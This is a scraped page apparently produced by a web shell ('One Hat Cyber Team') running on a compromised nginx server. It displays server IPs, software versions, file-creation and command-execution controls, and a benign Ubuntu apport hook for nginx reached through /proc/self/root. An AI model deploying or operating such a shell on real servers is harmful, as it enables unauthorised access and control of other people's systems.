⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.30
Server IP:
45.79.8.107
Server:
Linux localhost 5.15.0-140-generic #150-Ubuntu SMP Sat Apr 12 06:00:09 UTC 2025 x86_64
Server Software:
nginx/1.18.0
PHP Version:
8.1.2-1ubuntu2.21
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
proc
/
self
/
root
/
usr
/
share
/
apport
/
package-hooks
/
View File Name :
source_nginx.py
''' apport package hook for nginx packages Copyright (c) 2015, Thomas Ward
''' import apport.hookutils import os import subprocess def add_info(report, ui): if (report['Package'].split()[0] != 'nginx-common' and report['ProblemType'] == 'Package' and os.path.isdir('/run/systemd/system')): report['Journalctl_Nginx.txt'] = apport.hookutils.command_output( ['journalctl', '-xe', '--unit=nginx.service']) report['SystemctlStatusFull_Nginx.txt'] = subprocess.Popen( ['systemctl', '-l', 'status', 'nginx.service'], stdout=subprocess.PIPE).communicate()[0]